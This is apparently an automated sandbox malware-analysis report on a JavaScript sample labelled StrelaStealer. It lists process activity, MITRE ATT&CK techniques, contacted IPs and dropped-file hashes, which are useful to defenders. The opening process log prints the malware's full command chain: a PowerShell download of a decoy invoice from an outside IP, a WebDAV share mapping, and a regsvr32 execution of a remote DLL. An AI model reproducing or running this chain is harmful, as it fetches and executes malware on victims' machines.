Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4892182381391430128.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
4892182381391430128.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/o	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2228248678.0000021F1E4B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2219642549.000001EFF2E80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3439672391.000001EFF3000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2228248678.0000021F1E4B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2210413435.0000021F1E50F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228330356.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2215508187.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2228330356.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2215508187.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/o	net.exe, 00000007.00000002.2228330356.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2215508187.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588381
Start date and time:	2025-01-11 01:39:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4892182381391430128.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 54.224.241.105, 50.16.47.176, 34.237.241.83, 18.213.11.84, 184.28.90.27, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:39:56	API Interceptor	23x Sleep call for process: powershell.exe modified
19:39:59	API Interceptor	1x Sleep call for process: net.exe modified
19:40:00	API Interceptor	2x Sleep call for process: svchost.exe modified
19:40:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262659478292187
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0D:9JZj5MiKNnNhoxuq
MD5:	66229FDED857F2E28C7880E0FE85A08B
SHA1:	018CC766DA938EB9B9DE101E09EB5C2110C75172
SHA-256:	79A902903E1710F7B5D44FEC6C227C2F30521EF8E1FE100CAB3C4110C4ADF3A5
SHA-512:	E64FB09A415A36B1E573DCD7E0D431284927AAD64D6511FC2F07B1C48EE0C897CACF11CF81FDA68E6A34AD4D47D7C0965A360BA122D8CB3CE1167B7E5F9D97B1
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x49123686, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755465018981711
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	F3A58E18A7D7C8F01D0171AE87E3BFBD
SHA1:	7E401213835A0C02756DF6535CC2673040A8EA6D
SHA-256:	0941E039A0723C8D630B3DF05D394D5449C5F0FECC86C218FB0213C7DB5B6EDB
SHA-512:	E6CC56794F02C27D5BBBB92FB20E6807D30E4D60AFF7E089EB7BF0BC88FF9515DA8BD03E30C2686D1D8464D67D628BCDCC0E3940EA763D03986FD927B5E14A5C
Malicious:	false
Preview:	I.6.... .......7.......X\...;...{......................0.e......!...{?..(...}].h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................C.x%.(...}...................C...(...}]..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0764551656289583
Encrypted:	false
SSDEEP:	3:xOUYeS3MiDNaAPaU1lbciwlluxmO+l/SNxOf:Hza5NDPaUDCgmOH
MD5:	B3AC39AB68489E83D23D3D8E639E4FE1
SHA1:	099DCC5F1241FAD54D3E0E95C060230E6B5E1000
SHA-256:	1BE0C87AA16CC06197CD0ECB0F8551C1BF2388E0A7872BEDC589DCA451C40707
SHA-512:	14FE795C7642FAF818AE0CB29D9A7FF432CCD420A35CC13602773713C42B9813ECC3EDE6926F77B89A385B80CC7E81AEFFC3D0FEC5CBBB9FF9476B9EE9A83E28
Malicious:	false
Preview:	r..:.....................................;...{...(...}]..!...{?..........!...{?..!...{?..g...!...{?..................C...(...}].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.184790558473193
Encrypted:	false
SSDEEP:	6:iO4PwpSQL+q2PN72nKuAl9OmbnIFUtSPy8G1ZmwsPPmQLVkwON72nKuAl9OmbjLJ:7BByvVaHAahFUtj/AR5OaHAaSJ
MD5:	FCB6E302CFFDC7E2570A5D2D80F7EE21
SHA1:	64B46BEE9CFFF873D136364861F59BBFED1DC651
SHA-256:	68A2C498AAC03CC950C1169EDD633906F2F8466840BEB48E2C228FB4AD872056
SHA-512:	3BED9C03917DAD196110FBA545B5E209152DAE46191AB64329FFEE97BBD7799547F19E988C9AED719D17180C5F5A9BB4C8F905AF57925CE244F4FA03D3882F72
Malicious:	false
Preview:	2025/01/10-19:39:59.631 10e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:39:59.633 10e8 Recovering log #3.2025/01/10-19:39:59.634 10e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.184790558473193
Encrypted:	false
SSDEEP:	6:iO4PwpSQL+q2PN72nKuAl9OmbnIFUtSPy8G1ZmwsPPmQLVkwON72nKuAl9OmbjLJ:7BByvVaHAahFUtj/AR5OaHAaSJ
MD5:	FCB6E302CFFDC7E2570A5D2D80F7EE21
SHA1:	64B46BEE9CFFF873D136364861F59BBFED1DC651
SHA-256:	68A2C498AAC03CC950C1169EDD633906F2F8466840BEB48E2C228FB4AD872056
SHA-512:	3BED9C03917DAD196110FBA545B5E209152DAE46191AB64329FFEE97BBD7799547F19E988C9AED719D17180C5F5A9BB4C8F905AF57925CE244F4FA03D3882F72
Malicious:	false
Preview:	2025/01/10-19:39:59.631 10e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:39:59.633 10e8 Recovering log #3.2025/01/10-19:39:59.634 10e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182212772567477
Encrypted:	false
SSDEEP:	6:iO4POnjlyq2PN72nKuAl9Ombzo2jMGIFUtSPO/Fz1ZmwsPO/FlRkwON72nKuAl97:7lnjlyvVaHAa8uFUtL/FZ/x/FlR5OaHA
MD5:	70D38658510E8012D2992A0F59C49FC5
SHA1:	C90939003E4E90074B868380918522C4C59457A5
SHA-256:	647B110ED6F3B999E92811FDA83539D54F200C74FEFA53B18BD146D33DBC38ED
SHA-512:	E9ED11AAB70A95713A3188FA9AAD767DD63EAA76CA7137A7A2B23014A1342E86230D538B02DB4538EB541BA8283ACE0603A3EB9D5F16A90B981E8100B9EEE3D7
Malicious:	false
Preview:	2025/01/10-19:39:59.755 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:39:59.757 1c74 Recovering log #3.2025/01/10-19:39:59.757 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182212772567477
Encrypted:	false
SSDEEP:	6:iO4POnjlyq2PN72nKuAl9Ombzo2jMGIFUtSPO/Fz1ZmwsPO/FlRkwON72nKuAl97:7lnjlyvVaHAa8uFUtL/FZ/x/FlR5OaHA
MD5:	70D38658510E8012D2992A0F59C49FC5
SHA1:	C90939003E4E90074B868380918522C4C59457A5
SHA-256:	647B110ED6F3B999E92811FDA83539D54F200C74FEFA53B18BD146D33DBC38ED
SHA-512:	E9ED11AAB70A95713A3188FA9AAD767DD63EAA76CA7137A7A2B23014A1342E86230D538B02DB4538EB541BA8283ACE0603A3EB9D5F16A90B981E8100B9EEE3D7
Malicious:	false
Preview:	2025/01/10-19:39:59.755 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:39:59.757 1c74 Recovering log #3.2025/01/10-19:39:59.757 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958394783582542
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPdDhsBdOg2H5gcaq3QYiubcP7E4T3y:Y2sRdsCZydMH5L3QYhbA7nby
MD5:	52C43DB8978BC3790EDB9E5BD5BF5590
SHA1:	ACF691A158451FBCFBBFC8FC09BC5DF9B730C2E6
SHA-256:	76B38A3F7417983D2B83FF9EF51EFF38552DACC0A0A5F5FC4EC6CB377AAE32A2
SHA-512:	BA491060CE3665FE66DA5B0DB251C57F7B7E4372C6C01BCA54856340CE8267B71C7DAC28492C8CE1F2D9D49C6F6AB78A73B274452A01C897128D01EED4A78CB3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116011417056","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153081},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bdb052c0-40d1-4837-9b5a-845146759fb2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958394783582542
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPdDhsBdOg2H5gcaq3QYiubcP7E4T3y:Y2sRdsCZydMH5L3QYhbA7nby
MD5:	52C43DB8978BC3790EDB9E5BD5BF5590
SHA1:	ACF691A158451FBCFBBFC8FC09BC5DF9B730C2E6
SHA-256:	76B38A3F7417983D2B83FF9EF51EFF38552DACC0A0A5F5FC4EC6CB377AAE32A2
SHA-512:	BA491060CE3665FE66DA5B0DB251C57F7B7E4372C6C01BCA54856340CE8267B71C7DAC28492C8CE1F2D9D49C6F6AB78A73B274452A01C897128D01EED4A78CB3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116011417056","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153081},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252528899089625
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE76qLU:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	0C96C79A5EBD91A15E948EC0DF196F51
SHA1:	CC673386E49E709D967F222809891BAA889146DE
SHA-256:	C8CB6E6FCA08C603DC030124148A549FDF7435985DC8326C2D3C1CA8055A20EF
SHA-512:	B6C92237B6917C65BA11C51E403E5B3980344B788FF6DBFC58EB86DB3116D3DA584200557B61DE98D47FDC4507E1E50A8C32A2F8EED622B0E6323ADAC4CFA77F
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.139398598775815
Encrypted:	false
SSDEEP:	6:iO40lyq2PN72nKuAl9OmbzNMxIFUtSNz1ZmwsVAlRkwON72nKuAl9OmbzNMFLJ:7/yvVaHAa8jFUt6/XlR5OaHAa84J
MD5:	29C0BC5E0EF3E7AD8143B447F0274E25
SHA1:	0FF2EBBF37BC8DC77965DD9A33A20267ED45095F
SHA-256:	9F97A8B9ED05E21DCD38633172DDCF8246B6F0A47E00E0F124C2811409923A05
SHA-512:	BFD85419EA2601EC9E3904A78F95DEFA6AB5F1C0F0A85A36D7EF7046D40B55C92D7546508CB4352AF41526DFC5CF26A26984F222F5340E95077595FF7405E251
Malicious:	false
Preview:	2025/01/10-19:40:00.612 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:40:00.622 1c74 Recovering log #3.2025/01/10-19:40:00.625 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.139398598775815
Encrypted:	false
SSDEEP:	6:iO40lyq2PN72nKuAl9OmbzNMxIFUtSNz1ZmwsVAlRkwON72nKuAl9OmbzNMFLJ:7/yvVaHAa8jFUt6/XlR5OaHAa84J
MD5:	29C0BC5E0EF3E7AD8143B447F0274E25
SHA1:	0FF2EBBF37BC8DC77965DD9A33A20267ED45095F
SHA-256:	9F97A8B9ED05E21DCD38633172DDCF8246B6F0A47E00E0F124C2811409923A05
SHA-512:	BFD85419EA2601EC9E3904A78F95DEFA6AB5F1C0F0A85A36D7EF7046D40B55C92D7546508CB4352AF41526DFC5CF26A26984F222F5340E95077595FF7405E251
Malicious:	false
Preview:	2025/01/10-19:40:00.612 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:40:00.622 1c74 Recovering log #3.2025/01/10-19:40:00.625 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444473573735654
Encrypted:	false
SSDEEP:	384:ye6ci5txiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mCs3OazzU89UTTgUL
MD5:	8305A1B027ADC82C2A5006FC7E934C1E
SHA1:	36D0273B16EA21DD5767A4629ECD4EFC701A518D
SHA-256:	47966D620EE20F932152B5FDC3043ACC5186388C2B0F2C8C8A0D4563EB253F1D
SHA-512:	14D2B30E5805E35EEE0B06B816ED53EBC8C3E03DF2DD3AB7F669E1AD8F68ABC728515047A6C3BF7EFED891D8E6A0C319973E66A5B5737849501102B26ABF2AAD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767357597527905
Encrypted:	false
SSDEEP:	48:7MxgJioyVgFioyfOoy1C7oy16oy1d0KOioy1noy1AYoy1Wioy1oioykioyBoy1nG:72gJucy9XjBivb9IVXEBodRBkU
MD5:	A653E2A3F7F4DD1859BD4FAB7A3C1A71
SHA1:	32923E48F4D78759159A6CE917C5E41D07122A87
SHA-256:	5F0482DA03F54ED0FA59DC29ADD07CDC27FC24F63C1F1137C5CC0B744E2410E5
SHA-512:	4143BF4BBFE8845F6550BCAD5EBE2B0755744E31FCD03598BC71FD5258529A58E53D9B0FCC1CB982529B126F4E06F5A005AAD2268B8FB37EA1395A6F55C7DF3A
Malicious:	false
